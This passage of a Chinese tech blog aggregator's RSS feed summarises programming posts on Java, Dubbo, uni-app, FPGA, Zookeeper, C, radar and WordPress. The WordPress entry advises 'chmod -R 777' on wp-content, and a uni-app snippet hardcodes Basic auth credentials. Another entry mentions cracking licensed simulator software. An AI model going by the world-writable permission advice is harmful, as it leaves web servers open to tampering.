整数：^-?\d+$ 非负浮点数（正浮点数 + 0）：^\d+(\.\d+)?$ 正浮点数 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$ 非正浮点数（负浮点数 + 0） ^((-\d+(\.</description>
    </item>
    <item>
      <title>java使用AbstractProcessor、编译时注解和JCTree实现编译时织入代码（类似lombok）并实现Debug自己的Processor和编译后的代码</title>
      <link>https://bchobby.github.io/posts/4862ec5067805883fa25c54f53856c2c/</link>
      <pubDate>Mon, 03 Jun 2019 17:48:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4862ec5067805883fa25c54f53856c2c/</guid>
      <description>Java架构师交流群：793825326&#xA;java版本：jdk1.8&#xA;IDE：idea2019&#xA;先说怎么用，现在我们想写一个注解HelloWorld，让所有使用了这个注解的类，在编译的时候都打印“Hello World！”，注意，是在编译的时候，不是运行的时候。那么该怎么做呢，这就要用到AbstractProcessor这个东西了。&#xA;1.先创建一个maven项目abstractprocessor，在这个项目下创建两个子module，processor和compiletest，如图：&#xA;2.在processor里面添加一个类MyProcessor：&#xA;import com.google.auto.service.AutoService; import javax.annotation.processing.*; import javax.lang.model.SourceVersion; import javax.lang.model.element.TypeElement; import javax.tools.Diagnostic; import java.util.Set; @SupportedAnnotationTypes(&#34;HelloWorld&#34;) @SupportedSourceVersion(SourceVersion.RELEASE_7) @AutoService(Processor.class) public class MyProcessor extends AbstractProcessor { @Override public boolean process(Set&amp;lt;? extends TypeElement&amp;gt; annotations, RoundEnvironment roundEnv) { processingEnv.getMessager().printMessage(Diagnostic.Kind.NOTE, &#34;Hello World!&#34;); return false; } } 其中AutoService是Google开发用来生成META-INF/services/javax.annotation.processing.Processor文件的，有了它，我们就不用自己手动添加这个文件了。要使用它，需要在pom里面添加依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.auto.service&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;auto-service&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-rc5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 3.然后写一个注解HelloWorld：&#xA;import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; @Retention(RetentionPolicy.SOURCE) public @interface HelloWorld { } 至此，processor项目目录如下：&#xA;4.使用maven生成一下，这样，我们的HelloWorld注解就实现了，现在就是如何使用它了，很简单，像使用普通的注解一样。在compiletest这个项目里面添加引用：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;AbstractProcessorDemo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;processor&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 5.</description>
    </item>
    <item>
      <title>Dubbo：Nacos作为注册中心</title>
      <link>https://bchobby.github.io/posts/031fd8a7e25fb3fef3cf6250758dc69e/</link>
      <pubDate>Mon, 03 Jun 2019 16:22:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/031fd8a7e25fb3fef3cf6250758dc69e/</guid>
      <description>前言 本文介绍如何通过Nacos作为配置中心，实现Dubbo服务的注册与消费&#xA;以HelloService服务为例&#xA;public interface HelloService { String sayHello(String name); } 服务提供方和消费方都引入以下jar&#xA;&amp;lt;dependencys&amp;gt; &amp;lt;!-- Spring Boot dependencies --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Dubbo --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Dubbo Registry Nacos --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-registry-nacos&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.nacos&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;nacos-client&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencys&amp;gt; 需要搭建一个Nacos服务，这里直接使用程序员DD提供的公益性的Nacos服务，&#xA;详细地址&#xA;服务提供方 实现接口 @Service(version = &#34;${dubbo.service.version}&#34;) public class HelloServiceImpl implements HelloService { @Value(&#34;${spring.application.name}&#34;) private String serviceName; public String sayHello(String name) { return String.</description>
    </item>
    <item>
      <title>将流或者二进制的文件或图片直接在前台展示出来</title>
      <link>https://bchobby.github.io/posts/066779fd73ab9b155e640857dde86a0c/</link>
      <pubDate>Mon, 03 Jun 2019 15:26:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/066779fd73ab9b155e640857dde86a0c/</guid>
      <description>公司的这一次开发中遇到一个问题，就是服务器上不能存储文件或者图片，因为服务器的会清理掉和其他集群不同的地方，所以得到的文件流或图片流就没有了存放的地方，因此要展示的文件或图片该怎么展示呢？一开始蒙圈，之后到处查询资料，百度终于弄好了&#xA;我这一次的需求是要展示图片，所以我就说图片的了！话不多说，代码奉上，我们是银行项目，所以用的struts2，但是都是大同小异。&#xA;后台action关键代码（相当于controller）&#xA;//获得图片的二进制流（已经进行base64编码的） String potoString = jObject1.getString(&#34;photo&#34;); //将String类型的流放入对象返回前台 jsonRoot.put(&#34;Code&#34;, potoString); return SUCCESS; 前台html页面关键代码&#xA;//准备显示的img标签 &amp;lt;img id=&#34;bigimg&#34; src=&#34;&#34; /&amp;gt; 前台js关键代码&#xA;//静态页面ajax访问后台 $.post(&#39;/online/enter/showPoto.do&#39;,{ phoneNum:phoneNum, apply_serial_no:applySerialNo, id_type:index },function(data){ var src = data.Code;//将后台传回的二进制数据取出 $(“#bigimg”).attr(&#34;src&#34;, &#34;data:image/png;base64,&#34;+src);//设置#bigimg元素的src属性 } ） data:image/png;base64,这是Data URI scheme。&#xA;Data URI scheme是在RFC2397中定义的，目的是将一些小的数据，直接嵌入到网页中，从而不用再从外部文件载入。比如上面那串字符，其实是一张小图片，将这些字符复制黏贴到浏览器的地址栏中并转到，就能看到它了，在上面的Data URI中，data表示取得数据的协定名称，image/png 是数据类型名称，base64 是数据的编码方法， 逗号后面就是这个image/png文件base64编码后的数据。&#xA;目前，Data URI scheme支持的类型有：&#xA;data:,文本数据&#xA;data:text/plain,文本数据&#xA;data:text/html,HTML代码&#xA;data:text/html;base64,base64编码的HTML代码&#xA;data:text/css,CSS代码&#xA;data:text/css;base64,base64编码的CSS代码&#xA;data:text/javascript,Javascript代码&#xA;data:text/javascript;base64,base64编码的Javascript代码&#xA;data:image/gif;base64,base64编码的gif图片数据&#xA;data:image/png;base64,base64编码的png图片数据&#xA;data:image/jpeg;base64,base64编码的jpeg图片数据&#xA;data:image/x-icon;base64,base64编码的icon图片数据&#xA;base64简单地说，它把一些 8-bit 数据翻译成标准 ASCII 字符，网上有很多免费的base64 编码和解码的工具，在目前，IE8、Firfox、Chrome、Opera浏览器都支持这种小文件嵌入。</description>
    </item>
    <item>
      <title>uni-app 环境配置，uni.request封装，接口配置，全局配置，接口调用的封装</title>
      <link>https://bchobby.github.io/posts/19d2f1e4cf15bddedfea5d1708467962/</link>
      <pubDate>Mon, 03 Jun 2019 14:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19d2f1e4cf15bddedfea5d1708467962/</guid>
      <description>1.环境配置 (可参考uni-官网的环境配置)&#xA;common文件夹下新建config.js&#xA;let url_config = &#34;&#34; if(process.env.NODE_ENV === &#39;development&#39;){ // 开发环境 url_config = &#39;https://*****.com/&#39; }else{ // 生产环境 url_config = &#39;https://*****.com/&#39; } export default url_config 2.uni.request封装&#xA;common文件夹下新建request.js&#xA;import urlConfig from &#39;./config.js&#39; const request = {} const headers = {} const PORT1 = &#39;/baseinfo&#39; request.globalRequest = (url, method, data, power) =&amp;gt; { /* 权限判断 因为有的接口请求头可能需要添加的参数不一样，所以这里做了区分 1 == 不通过access_token校验的接口 2 == 文件下载接口列表 3 == 验证码登录 */ switch (power){ case 1: headers[&#39;Authorization&#39;] = &#39;Basic a3N1ZGk6a3N1ZGk=&#39; break; case 2: headers[&#39;Authorization&#39;] = &#39;Basic a3N1ZGlfcGM6a3N1ZGlfcGM=&#39; break; case 3: responseType = &#39;blob&#39; break; default: headers[&#39;Authorization&#39;] = `Bearer ${ this.</description>
    </item>
    <item>
      <title>自己动手设计一个FPGA上可运行的简易CPU及汇编器</title>
      <link>https://bchobby.github.io/posts/f217d8f1a6b2194f835d38a21832e0aa/</link>
      <pubDate>Mon, 03 Jun 2019 11:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f217d8f1a6b2194f835d38a21832e0aa/</guid>
      <description> 自己动手设计一个FPGA上可运行的CPU及汇编器 前言简易CPU的基本功能和架构简介存储模块设计（背景设计）指令系统设计待上传图片 该项目目前已经转移到：https://gitee.com/jianfengtony/risc_t16 欢迎一起研讨。&#xA;前言 其实自己写一个CPU的想法早在2008年还在上大学的时候就有了，因为后来工作的原因，当然更多的是因为自己懒散的原因，一直没有投入精力去做这件事情。差不多在2015年的时候在做一个控制项目时，因为有一些实时性要求很高的控制及信号处理，又重新用到了FPGA，当时的项目是在FPGA上实现的，自己参与时项目主体基本完工，但是仔细了解项目后发现项目里面很多模块都用到了状态机，然后通过编码的二进制去实现复杂的计算，当时就再次萌发了写一个精简的CPU来替换项目中众多的定制化CPU，充分利用FPGA上的分布式RAM、LUT及乘法器等资源。&#xA;后来花费了两三周的时间设计了一个三级流水线CPU，用FPGA内部的RAM模块作为存储器，可以运行起来，无奈项目规模太大，这个设计的CPU项目中一直不愿替换，就一直存在我的电脑中无用武之地。&#xA;最近因为多方面的原因，包括看到中美贸易战科技战，自己想把这个简易CPU的想法和代码总结一下发到网上，大家一起学习。&#xA;简易CPU的基本功能和架构简介 在这里我定义一个最简的CPU包含如下几方面的特性或指令：&#xA;能够读取数据和指令，即具备访问存储器或寄存器的寻址能力有程序指针，控制CPU按照节奏顺序执行指令具有跳转指令，能够实现程序循环具备逻辑比较等指令，能够实现条件判断具备外部IO，能够处理输入和输出，与外界交互具备算术运算、逻辑运算等指令支持更加复杂的运算等，这个我认为不是全部必须，但是要有能力扩展，需要哪个指令的时候能够通过总线增加。 以上这些就是设计这个CPU的一些基本特性和目标。&#xA;当然最后我们还要设计一个汇编器（计划用python来实现，替换原来用C#实现的），以方便对于CPU进行编程。至于C语言的支持，因为本人对于编译还不太懂，暂时不打算实现和支持。&#xA;原来是用VHDL来实现的设计，本次整理计划改为用verilog来实现。&#xA;存储模块设计（背景设计） 为了验证CPU的设计，我们先做一些铺垫，这里先分析一下存储的一些典型特性及建立我们设计CPU的一些前提输入。&#xA;存储是计算机系统最重要的一个模块之一，对于CPU来说存储系统分为数据存储器和程序存储器，当然也有将数据存储器和程序存储器合一的，这取决于CPU的架构，这里我们采用的是程序和数据分开的哈佛架构，相对来说这样设计逻辑简单，便于入门，而且对于FPGA上的资源来说也比较容易实现。&#xA;我们先来看看典型sdram的时序图：&#xA;指令系统设计 原来的指令采用的是自己设计的16bits的指令系统，本次改为采用RISC-V指令系统，从中间选取一些必要的最小集合来实现。&#xA;RISC-V指令系统格式分为以下几种：&#xA;待上传图片 其中的寄存器片段为rs1和rs2以及rd，均为5bits设计，也就是可以最大容纳32个寄存器的编址。&#xA;opcode片段为7bits的设计，最大容纳 2 7 = 128 2^7=128 27=128个编码&#xA;RISC-V的指令集分类基础指令和扩展指令，我们重点实现RV32I的基础指令集。&#xA;下面为挑选出来的RV32I基础指令集：&#xA;指令汇编funct - 7rs2 - 5rs1 - 5funct - 3rd - 5opcode - 7Radd rd,rs1,rs20000000rs2rs1000rd0110011Raddi rd,rs1,immediateimme </description>
    </item>
    <item>
      <title>什么是类？对象？类与对象的关系是什么？</title>
      <link>https://bchobby.github.io/posts/aa658f76c93b49dc2cb5f33b4e3fcbb8/</link>
      <pubDate>Sun, 02 Jun 2019 14:56:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa658f76c93b49dc2cb5f33b4e3fcbb8/</guid>
      <description>对象 什么是对象？&#xA;万物皆对象。它包括现实中客观存在的事物，也包括抽象的时间、规则、思维。简单点说，对象具有状态、行为和标识。&#xA;类 什么是类？&#xA;具有相同特性和行为的对象组成的集合就是类，JAVA实际中的类就是指一个数据类型。&#xA;对象与类的关系 类是对象的抽象，而对象是类的具体实例。类与对象的关系：抽象(该抽象是名词)与类的实例化就是对象，对象的共性特征抽象(该抽象是动词)出来就是类。&#xA;比如你要买一台PC，你在订单上列出了这台PC的CPU和显卡型号、显示屏的大小、键盘是104还是87位、主机的颜色等等，这所有信息组成在一起就是一个电脑的类，但你只有它的参数并没有一个符合这个要求的实物对象，而当服务员拿出了一台符合这个订单的具体PC时，这个PC就是那个类的具体对象。&#xA;实习找工作遇到个印象较深的基础面试问题，&#xA;面试官：男人和女人是同一个类吗？&#xA;我：是同一类。&#xA;面试官：钢笔和铅笔是同一个类吗？&#xA;我：是同一类。&#xA;面试官：男人和钢笔是同一个类吗？&#xA;我犹豫了3秒钟，&#xA;我：不是同一类&#xA;面试官：看来你对基础概念理解的还不到位啊。&#xA;这里，首先你要懂得万物皆对象，对象都是类的实例，而类是对象的抽象。那么我在JAVA中就可以定义男人和钢笔都是A类或B类或C类，而这个类可以是描述都是看的见或摸的着的特征，亦或是什么都不描述的但就是用来实例化男人和钢笔的类(类可以是你随性定义的)，即男人和钢笔是同一类。同理，时间和水是一类吗？思维和手是一类吗？都是的。&#xA;其实面试官在这也埋了一个坑----没有交代问题的前提条件。我认为完美的答案应该是：&#xA;“从生活角度讲，男人和女人是同一类，钢笔和铅笔是同一类，但男人和钢笔不是同一类。&#xA;从Java中类与对象的关系来说，男人和女人是同一类，钢笔和铅笔是同一类，男人和钢笔也是同一类。”&#xA;面试官还问过我一个对象问题：&#xA;面试官：若我是一个完全不懂IT和编程的人，你能给我解释一下什么是对象吗？&#xA;我：在JAVA中，对象就是一类数据的实例化，他们有着一种或几种的相同特征。&#xA;面试官：你认为一个普通人听得懂这个吗？你只需要说万物皆对象就好，再举几个生活中的例子，没必要去背概念。&#xA;最后，我还是收到了这加公司的Offer，也是我工作生涯所进的第一家公司，也让我认识到了什么叫资产阶级的剥削，当然，这些都是后话了。。。</description>
    </item>
    <item>
      <title>MFC中CString和int的转换</title>
      <link>https://bchobby.github.io/posts/f73ac85aac9ee72f9e190fd23b49cd81/</link>
      <pubDate>Sun, 02 Jun 2019 10:31:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f73ac85aac9ee72f9e190fd23b49cd81/</guid>
      <description> int转换为CString：&#xA;CString csName;&#xA;int num;&#xA;csName.Format(&#34;%d&#34;, num);&#xA;CString转换为int：&#xA;CString csName;&#xA;int num = atoi(csName);&#xA;int转CString就不细说了，使用format即可，&#xA;这里简单介绍下CString转int的一种简便方法&#xA;CString strNum(&#34;100&#34;);&#xA;int num;&#xA;//ANSI&#xA;num = atoi(strNum);&#xA;num = _ttoi(strNum);&#xA;//UNICODE&#xA;num = atoi(CT2A(strNum.Getbuff()));&#xA;num = _ttoi(strNum);&#xA;总结：&#xA;使用 _ttoi 可以适用于 ANSI和UNICODE两种版本。&#xA;int 转化为SCtring:&#xA;int n = 123; CString str;&#xA;str.Format(&#34;%d&#34;,n); 报错的话则改为：str.Format(_T(&#34;%d&#34;),n); 或者 str.Format(TEXT(&#34;%d&#34;),n); 即可&#xA;CString 转化为 int:&#xA;CString str(&#34;123&#34;);&#xA;int n= _ttoi(str);&#xA;原文：https://blog.csdn.net/myruo/article/details/81505405 </description>
    </item>
    <item>
      <title>Zookeeper（二）-- 客户端操作命令</title>
      <link>https://bchobby.github.io/posts/6c4fcde0299ac4be78fd85dbc0d8707f/</link>
      <pubDate>Sun, 02 Jun 2019 00:14:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c4fcde0299ac4be78fd85dbc0d8707f/</guid>
      <description>一、前提 开启zookeeper服务端，用客户端连接。输入help，查看可使用命令，如下图所示：&#xA;操作无非就是增删改查等。&#xA;二、增加 格式： create[-s][-e]path data acl&#xA;path：即路径，由于zookeeper是一个树形结构，所以创建的时候就是一个Path节点，就是路径&#xA;data：节点对应的值，保存的少量数据&#xA;[-s]有序节点 [-e]临时节点&#xA;注：节点临时有序节点、临时节点、持久有序节点 和 持久节点。&#xA;1.创建节点&#xA;eg： create/node_11&#xA;2.创建有序的持久化节点&#xA;eg: create-s/node_1/node_1_12&#xA;3.创建临时节点（基于会话级别）&#xA;eg: create-e/node_1/node_1_23&#xA;三、查询 getpath[watch]&#xA;eg: get/node_1&#xA;四、修改 setpath data[version]&#xA;eg: set/node_1 abc&#xA;五、删除 deletepath[vsersion]&#xA;eg: delete/node_1&#xA;发现报：Node not empty:/node1，说明node1下面存在节点，不可以删除。&#xA;所以，删除其中一个子节点：&#xA;delete/node_1/node_1_1&#xA;查看node_1 下面的节点：&#xA;ls/node_1&#xA;六、查看 ls 和 ls2 和 stat&#xA;s /node_1&#xA;ls2 /node_1&#xA;stat /node_1&#xA;ls2和stat命令输出的信息更加详细，结果一样。&#xA;七、给节点设置限制 setquota-n|-b val path&#xA;-n的时候，val表示创建的子节点数量，path为指定的节点&#xA;-b的时候，val表示创建节点的数据量，path为指定的节点&#xA;1.首先查看/node1下子节点的数量，使用 : ls /node1，发现/node_1下面有两个子节点：</description>
    </item>
    <item>
      <title>如何运用C语言打印出菱形</title>
      <link>https://bchobby.github.io/posts/fad0f3861808c617504ea7195462d7df/</link>
      <pubDate>Fri, 31 May 2019 20:54:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fad0f3861808c617504ea7195462d7df/</guid>
      <description>运用C语言打印出菱形 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; void main() { int line; //菱形总行数 int column; //菱形总列数 int i; //当前行 int j; //当前列 printf(&#34;请输入菱形的行数(奇数)：&#34;); scanf(&#34;%d&#34;, &amp;amp;line); if(line%2==0)&#x9;// 判断是否是奇数 { printf(&#34;请输入奇数\n&#34;); exit(1); } column = line; //总行数和总列数相同 for(i=1; i&amp;lt;=line; i++)&#x9;//所有行 { if(i&amp;lt;(line+1)/2+1)&#x9;//上半部分（包括中间一行） { for(j=1; j&amp;lt;=column; j++)&#x9;//上半部分的所有列 { if((column+1)/2-(i-1)&amp;lt;=j&amp;amp;&amp;amp;j&amp;lt;=(column+1)/2+(i-1) ) { printf(“*”) } else { printf(&#34; &#34;); } } } else {&#x9;//下半部分 for(j=1; j&amp;lt;=column; j++) { //下半部分的所有列 if((column+1)/2-(line-i)&amp;lt;=j&amp;amp;&amp;amp;j&amp;lt;=(column+1)/2+(line-i) ) { printf(&#34;</description>
    </item>
    <item>
      <title>TI毫米波雷达 MIMO （2TX4RX）设置</title>
      <link>https://bchobby.github.io/posts/8f84605ee6a7dba088865a7fe61e8e4a/</link>
      <pubDate>Fri, 31 May 2019 16:55:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f84605ee6a7dba088865a7fe61e8e4a/</guid>
      <description>我们知道xWR1243和xWR1443 EVM是3TX4RX雷达，xWR1642 EVM是2TX4RX雷达，我们不仅要掌握1TX4RX模式的使用还要学会使用MIMO雷达模式。本文主要介绍如何在mmWave Studio上设置MIMO模式（2TX4RX）以及MATLAB如何处理MIMO数据？&#xA;1、MIMO雷达介绍 MIMO（Multiple-Input-Multiple-Output，多输入多输出）雷达是指具有多个TX天线，多个RX天线的雷达，MIMO雷达是一种能够提高角度分辨率的有效方法。我们知道，雷达角度分辨率与接收天线阵列的孔径大小相关，孔径越大，分辨率越高。&#xA;因此，当RX天线数目越多，雷达角度分辨率越高。其中，使用N个TX天线，M个RX天线的MIMO雷达的角度分辨率可以等效于使用1TX，N*M RX天线的SIMO（Single-Input-Multiple-Output，多输入多输出）雷达。例如，TI xWR1xxx系列毫米波雷达采用1TX4RX时的角度分辨率约为30°，采用2TX4RX（等效于1TX8RX）的角度分辨率约为15°。&#xA;对于2TX4RX雷达，对应TX1的4RX间的相位差为 [ 0，w，2w，3w ]，对应TX2的4RX间的相位差为 [ 4w，5w，6w，7w ]。 因此，2TX4RX的雷达等效于1TX8RX雷达。&#xA;MIMO雷达发射天线的复用技术必须保证RX天线能够在接收端分离出不同TX天线的回波信号。TI文档中介绍了两种复用技术：TDM模式（Time Division Multiplexing，时分复用）和 BPM模式（Binary Phase Modulation，二相调制）。&#xA;（1）TDM模式&#xA;（2）BPM模式&#xA;2、mmWave Studio中的MIMO模式设置（2Tx-4Rx） （1）TDM模式&#xA;（2）BPM模式&#xA;3、MIMO数据的Matlab处理 （1）TDM模式&#xA;（2）BPM模式&#xA;关于MIMO雷达的介绍，主要参考文档 “MIMO Radar”（SWRA554A），以及TI e2e论坛的帖子：&#xA;[1] TDM模式的mmWaveStudio配置</description>
    </item>
    <item>
      <title>RuntimeError: CUDA error: initialization error</title>
      <link>https://bchobby.github.io/posts/85f8b7dab80ea88545f6056036cf0609/</link>
      <pubDate>Fri, 31 May 2019 16:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85f8b7dab80ea88545f6056036cf0609/</guid>
      <description>问题描述：使用PyTorch的DataLoader，讲num_workers改为非零数字后， 运行程序报错RuntimeError: CUDA error: initialization error解决方法：不可在DataLoader或DataSet内将任何数据放到CUDA上，而是等到程序运行出DataLoader之后（也就是到了train里的时候）将数据放到CUDA上。 原因猜测：&#xA;DataLoader使用num_workers时将数据load到“缓冲区”，如果在还未成功将数据load到“缓冲区”的时候把数据放到CUDA上（该操作相比于load数据更为费时），此时load数据进程转向load下一组数据，从而导致CUDA initialization error（如果猜测与事实有出入，还希望有识之士能够在评论区指正）</description>
    </item>
    <item>
      <title>C语言使用QRcode生成二维码</title>
      <link>https://bchobby.github.io/posts/c979ffc7ea492a4807a9c6967595bf3e/</link>
      <pubDate>Fri, 31 May 2019 14:18:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c979ffc7ea492a4807a9c6967595bf3e/</guid>
      <description>C语言使用QRcode生成二维码的简单操作&#xA;首先需要QRcode源码包&#xA;可以参考这位大神的文章：&#xA;https://blog.csdn.net/qq_21475601/article/details/71480028&#xA;下面是我的代码：&#xA;生成的话 只需要源码的三个文件 分别是 data_type.h，QR_Encode.c，QR_Encode.h int main(void){&#xA;EncodeData(&#34;aaa&#34;);&#xA;int i,j;&#xA;for(i=0;i&amp;lt;MAX_MODULESIZE;i++){&#xA;for(j=0;j&amp;lt;MAX_MODULESIZE;j++){&#xA;if(m_byModuleData[i][j] == 1)&#xA;printf(&#34;卍&#34;);&#xA;else&#xA;printf(&#34; &#34;);&#xA;}&#xA;printf(&#34;\n&#34;);&#xA;}&#xA;return 0;&#xA;}&#xA;效果图：&#xA;仅供参考！</description>
    </item>
    <item>
      <title>vs输出重定向</title>
      <link>https://bchobby.github.io/posts/93cf10cc4dd9135017d4ea0d4d57b5e2/</link>
      <pubDate>Thu, 30 May 2019 21:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93cf10cc4dd9135017d4ea0d4d57b5e2/</guid>
      <description>1、右键点击解决工程-&amp;gt;项目属性&#xA;2、配置属性-&amp;gt;生成事件-&amp;gt;生成后事件&#xA;在命令行中输入：&#34;$(TargetPath) &amp;gt;$(outdir)\1.txt&#34;&#xA;3、重新编译整个项目，此时就会在debug目录下多了一个1.txt文件，里面就是程序运行时的控制台输出结果。&#xA;转载于:https://www.cnblogs.com/cgc0415/p/10952051.html</description>
    </item>
    <item>
      <title>modelsim-alter ERROR</title>
      <link>https://bchobby.github.io/posts/c8e02ae8a6d47dd8d760a9d33a7ba62c/</link>
      <pubDate>Thu, 30 May 2019 19:51:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8e02ae8a6d47dd8d760a9d33a7ba62c/</guid>
      <description>modelsim-alter 仿真时出现# ERROR: No extended dataflow license exists&#xA;View ——&amp;gt;dataflow 取消显示&#xA;testbench编写的 m o n i t o r 和 monitor和 monitor和display函数无法在models-alter仿真中无法使用，但波形正常显示&#xA;重装系统，重装软件无法解决&#xA;卸载软件，清除注码表，新建立英文账户，使用英文账户安装，破解，使用软件，不会出现上面所有错误</description>
    </item>
    <item>
      <title>学习记录——C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/b26c1d411fd8249838bb25d7c5ecb32e/</link>
      <pubDate>Thu, 30 May 2019 19:42:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b26c1d411fd8249838bb25d7c5ecb32e/</guid>
      <description>定义一个学生类Student，包括3个数据成员：学号id，姓名name，分数score；两个静态数据成员：总分total和学生人数count；带参数的构造函数用来初始化对象，成员函数ChangeScore用来修改分数，静态成员函数GetAverage用来打印计算得到的平均分 我的第一篇博客&#xA;C++学习记录&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;string&amp;gt; using namespace std; class Student { public: Student(int id,string name,double score):id(id),name(name),score(score)&#x9;//带参数的构造函数初始化对象 { count++; total+=score; } void ChangeScore(double newScore) { total+=newScore-score; //因为是静态，所以定义一个新变量newScore score=newScore; } static double GetAverage() { return total/count; } private: int id; string name; double score; static double total; static int count; }; double Student::total=0.0f; int Student::count=0;&#x9;// 类外对静态数据成员进行定义声明 int main() { Student s1(01,&#34;Wang&#34;,78); Student s2(02,&#34;Liu&#34;,85); Student s3(03,&#34;Chen&#34;,90); cout&amp;lt;&amp;lt;&#34;The average score is:&#34;</description>
    </item>
    <item>
      <title>WoldPress从0开始建站（二）：大哥你看我美不美</title>
      <link>https://bchobby.github.io/posts/5081bd2cbabaa2b2263dcf2c0e81d8b2/</link>
      <pubDate>Thu, 30 May 2019 18:52:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5081bd2cbabaa2b2263dcf2c0e81d8b2/</guid>
      <description>上文 ： WordPress从0开始建站（一）：教练，我想建网站！，WordPress已经安装成功，今天我们来解决昨天遗留的三个问题：&#xA;初步实现网站美化快速导入CSDN博客CSS样式定制网站 话不多说，且看如何实现。（这该死的沙雕作者终于不在前面扯那么多废话了）&#xA;一、初步美化 ：大哥你看我美不美 登陆&#xA;浏览器输入进入你的公网IP地址，登陆WordPress进入管理界面：&#xA;选主题&#xA;选择：外观–&amp;gt;主题–&amp;gt;添加，进入到主题选择界面，选一个你喜欢的主题。&#xA;比如我选择的是：Bhari 主题，点击安装后，再次进入到主题管理界面便可以看到它了。&#xA;​ 启用主题，并开始自定义。&#xA;自定义主题简介&#xA;进入到自定义界面：&#xA;​ 可以看到，左侧红框便是用来自定义主题，同时它也被我分为两部分：&#xA;1部分：1部分比较简单，大家自己琢磨一会儿就能明白了。在接下来我们会举几个例子供参考。2部分：2部分便是自己添加CSS来改变网站主题样式了，在 三、CSS样式定制有详细讲诉。 实例：修改顶部图像&#xA;在上图1部分，我们看到有一栏叫做：顶部图像，点击进入后选择添加图像：&#xA;嗷~很不幸，出错了：没有上级目录写权限。这是因为我们对目录wp-content操作权限不够。&#xA;打开Xshell，连接云服务器，键入以下命令，修改目录wp-content权限为777（可被任意用户读写）&#xA;chmod -R 777 /var/www/html/wp-content # -R表示还同时修改wp-content子目录权限为777 这个时候，我们再次选择文件便发现，可以正常选择图像了~（我没合适图就不修改了hhh）&#xA;二、导入CSDN博客 来到我们的新窝，虽然还很简陋，但是 斯是陋室，惟吾德馨 嘛~可问题他喵的又来了，怎么让别人知道我们的德馨 呢？如果你写过CSDN博客，那么自然希望快速转入，很遗憾，在我写这篇博文之前还没找到一个能用的办法快速导入CSDN博客（可能因为毕竟作者500°近视）。&#xA;那么我有吗？那当然~有一个不（很）成熟的办法献丑（炫耀）一下。&#xA;导出CSDN&#xA;进入我们的CSDN博客，点击编辑，可以在右侧看到：导出为HTML文件 ：&#xA;点击导出，保存导出后的HTML文件。&#xA;导入WordPress&#xA;进入控制台（仪表盘），选择新建文章，进入代码编辑模式：&#xA;用记事本（当然也可以其它）打开刚刚下载的博客HTML文件，复制粘贴。&#xA;同时插入&amp;lt;!--more--&amp;gt;这段代码，使得首页只展示代码前文字。&#xA;点击发布，查看文章。发现问题：&#xA;点击查看文章，显示错误找不到文章&#xA;他人输入你IP（或域名）地址，文章图片不显示&#xA;代码高亮不够满意&#xA;优化：解决文章不显示&#xA;问题&#xA;解决&#xA;设置固定链接朴素模式即可：&#xA;再次刷新界面便发现可以查看文章了。&#xA;优化：解决图片不显示和文章两侧留白&#xA;问题&#xA;解决&#xA;图片不显示，是因为CSDN反盗链，在头部设置忽略refer。&#xA;&amp;lt;meta name=&#34;referrer&#34; content=&#34;no-referrer&#34;&amp;gt; 优化：解决代码高亮&#xA;解决&#xA;代码高亮可以下载一个插件名为：highlight.js&#xA;接着你可以在已下载的插件 启用，同时设置你喜欢的样子全都有~&#xA;我个人比较喜欢：vs 高亮模式</description>
    </item>
    <item>
      <title>Android P对非SDK接口的限制</title>
      <link>https://bchobby.github.io/posts/56bfdfa0b7adf9865c482e82b8a2f248/</link>
